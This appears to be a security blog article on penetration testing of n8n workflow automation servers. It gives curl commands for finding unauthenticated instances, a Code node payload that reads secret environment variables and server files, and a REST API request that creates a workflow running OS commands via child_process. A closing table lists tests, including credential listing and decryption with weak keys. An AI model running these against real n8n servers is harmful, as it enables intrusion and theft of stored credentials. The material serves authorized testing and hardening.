Workflow Automation Security

n8n Security Testing: Unauthenticated API, Code Node RCE, Webhook Exposure, and Credential Storage

📅 July 3, 2026 ⏱ 14 min read 🏷 n8n, Workflow Automation Security, Code Node RCE, Webhook Security, Credential Storage

n8n Discovery

# n8n default port: 5678
# Common deployment paths

# Check n8n health endpoint
curl -s http://n8n.example.com:5678/healthz 2>/dev/null
# Returns: {"status":"ok"}

# Check authentication status
AUTH_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  http://n8n.example.com:5678/rest/workflows 2>/dev/null)
if [ "$AUTH_STATUS" == "200" ]; then
  echo "UNAUTHENTICATED: n8n accessible without credentials"
elif [ "$AUTH_STATUS" == "401" ]; then
  echo "Authentication required"
fi

# Get n8n version from UI
curl -s http://n8n.example.com:5678/ 2>/dev/null | \
  grep -oE 'n8n@[0-9]+\.[0-9]+\.[0-9]+' | head -1

Code Node Remote Code Execution

n8n's Code node is one of the most powerful — and most dangerous — features in any workflow automation platform. It executes arbitrary JavaScript in Node.js on the n8n server, with access to the full Node.js standard library including require() for loading modules, filesystem access, and outbound network connections. Any user who can create or edit workflows has RCE capability on the n8n server.

# The Code node runs in the main Node.js process
# It can require() built-in Node.js modules

# Example Code node payload (for AUTHORIZED TESTING ONLY):
# Paste into n8n Code node to demonstrate server-side execution
const DEMO_CODE = `
// Read server environment variables (demonstrates credential exposure)
const env_vars = Object.keys(process.env).filter(k =>
  k.match(/KEY|SECRET|PASSWORD|TOKEN|PASS|CREDENTIAL/i)
).map(k => k + '=' + process.env[k].substring(0, 3) + '***');

// Read a file from the server filesystem
const fs = require('fs');
const etc_hostname = fs.readFileSync('/etc/hostname', 'utf8').trim();

// Make outbound network request (demonstrates SSRF from Code node)
// const http = require('http');
// http.get('http://169.254.169.254/latest/meta-data/', ...);

return [{
  json: {
    server_hostname: etc_hostname,
    sensitive_env_keys: env_vars,
    node_version: process.version,
    working_directory: process.cwd(),
  }
}];
`;

# To test: create a workflow in n8n, add a Code node, paste the above
# Execute the workflow — output reveals server filesystem and env vars

# Via REST API (if unauthenticated or with credentials):
curl -s -X POST http://n8n.example.com:5678/rest/workflows \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test",
    "nodes": [{
      "name": "Code",
      "type": "n8n-nodes-base.code",
      "position": [240, 300],
      "parameters": {
        "jsCode": "return [{json: {result: require(\"child_process\").execSync(\"id\").toString()}}]"
      },
      "typeVersion": 1
    }],
    "connections": {},
    "active": false
  }' 2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
print(f'Workflow created: {d.get(\"id\",\"failed\")}')
" 2>/dev/null

n8n Security Hardening

Security Test	Method	Risk
n8n accessible without authentication	GET /rest/workflows returns 200 without credentials — full workflow management access	Critical
Code node arbitrary JavaScript execution (RCE)	Create workflow with Code node executing require('child_process').execSync — OS command execution on n8n server	Critical
Stored credentials accessible via API	GET /rest/credentials — lists all credential configurations (names, types); depends on n8n version whether values are included	High
Execution history exposes processed sensitive data	GET /rest/executions — retrieves all past workflow execution inputs and outputs which may contain processed data	High
Webhook endpoints publicly accessible and triggerable	GET /webhook-test/{id} or /webhook/{id} — triggers workflow execution with attacker-supplied request data	Medium
Weak N8N_ENCRYPTION_KEY allows credential decryption	Obtain n8n SQLite database; attempt decryption with known weak keys — exposes all stored API keys and passwords	High